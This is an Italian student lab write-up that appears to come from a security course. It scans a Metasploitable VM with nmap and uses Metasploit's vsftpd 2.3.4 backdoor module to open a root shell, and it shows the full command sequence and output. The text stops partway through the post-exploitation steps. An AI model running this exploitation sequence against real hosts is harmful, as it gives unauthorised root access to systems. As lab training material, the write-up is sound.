Pratica S7L1

Andiamo per prima cosa a settare 192.168.1.149/24 come ip della macchina metasploitable. Una volta fatto lancio una scansione con nmap da kali per confermare che sia vulnerabile all'exploit sulla versione 2.3.4 di ftp:

```
┌──(luca㉿kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 14:43 CET
Nmap scan report for 192.168.1.149
Host is up (0.0048s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds
```

Dallo scan vediamo come la versione di ftp sia quella cercata. Possiamo quindi iniziare con l'exploit usando Metasploit. Metasploit è un framework già presente di default su Kali linux che racchiude molte vulnerabilità di diversi sistemi operativi. Attraverso questo strumento possiamo ricercare le vulnerabilità trovate durante la fase di scansione, e se trovate possiamo sfruttarle sempre con lo stesso strumento. Difatti in metasploit sono presenti i payload, ossia delle porzioni di codice specifiche per le vulnerabilità trovate che verranno iniettate all'interno del sistema target per creare una connessione con quest'ultimo, in modo da avere accesso ai suoi file. Questa connessione prende il nome di shell.

Vediamo nella pratica: dopo aver avviato il tool con il comando **msfconsole** vado a cercare la vulnerabilità da sfruttare, nel nostro caso **vsftpd**:

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

La ricerca tramite il comando **search** ha restituito due risultati. Nella descrizione leggiamo che il primo risultato punta a causare un DOS sul servizio ftp della macchina target, nel nostro caso invece l'obiettivo è l'esecuzione di una shell quindi andiamo a selezionare il secondo risultato tramite il comando **use 1**. Successivamente chiediamo attraverso il comando **show options** di quali altri parametri metasploit ha bisogno per attaccare con un exploit:

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
```

Dall'immagine precedente vediamo che le opzioni obbligatorie per lanciare l'exploit sono RHOSTS, ossia l'ip destinazione, e RPORT porta destinazione. Notiamo che la porta è già settata di default sulla 21, che è quella che ci serve come abbiamo visto dalla scansione nmap, quindi non serve cambiare il parametro. Cambiamo invece l'ip destinazione con il comando **set rhosts 192.168.1.149**. Per quanto riguarda il payload invece, vediamo che il payload caricato di default dallo strumento presente al percorso cmd/unix/interact non ha bisogno di opzioni personalizzate. Siamo quindi pronti a lanciare l'attacco. Proseguiamo dando il comando **exploit:**

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.1.212:41349 → 192.168.1.149:6200) at 2023-11-06 15:10:07 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:72:f6:3c
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2001:b07:aac:7465:a00:27ff:fe72:f63c/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe72:f63c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2538 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1429 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:191242 (186.7 KB)  TX bytes:136629 (133.4 KB)
          Base address:0×d020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:215 errors:0 dropped:0 overruns:0 frame:0
          TX packets:215 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:79313 (77.4 KB)  TX bytes:79313 (77.4 KB)
```

E' stato necessario lanciare una seconda volta il comando ma siamo riusciti a creare una sessione con la macchina target. Ho lanciato il comando ifconfig per assicurarmi di essere effettivamente sulla macchina Metasploitable, e come atteso vedo configurato sulla eth0 l'ip che abbiamo puntato, ossia 192.168.1.149. Vado quindi a verificare di essere nella directory root lanciando il comando **pwd** e creo la cartella attraverso il comando **mkdir** test_metasploit

Eseguo poi il comando **ls** per assicurarmi che la cartella sia stata creata: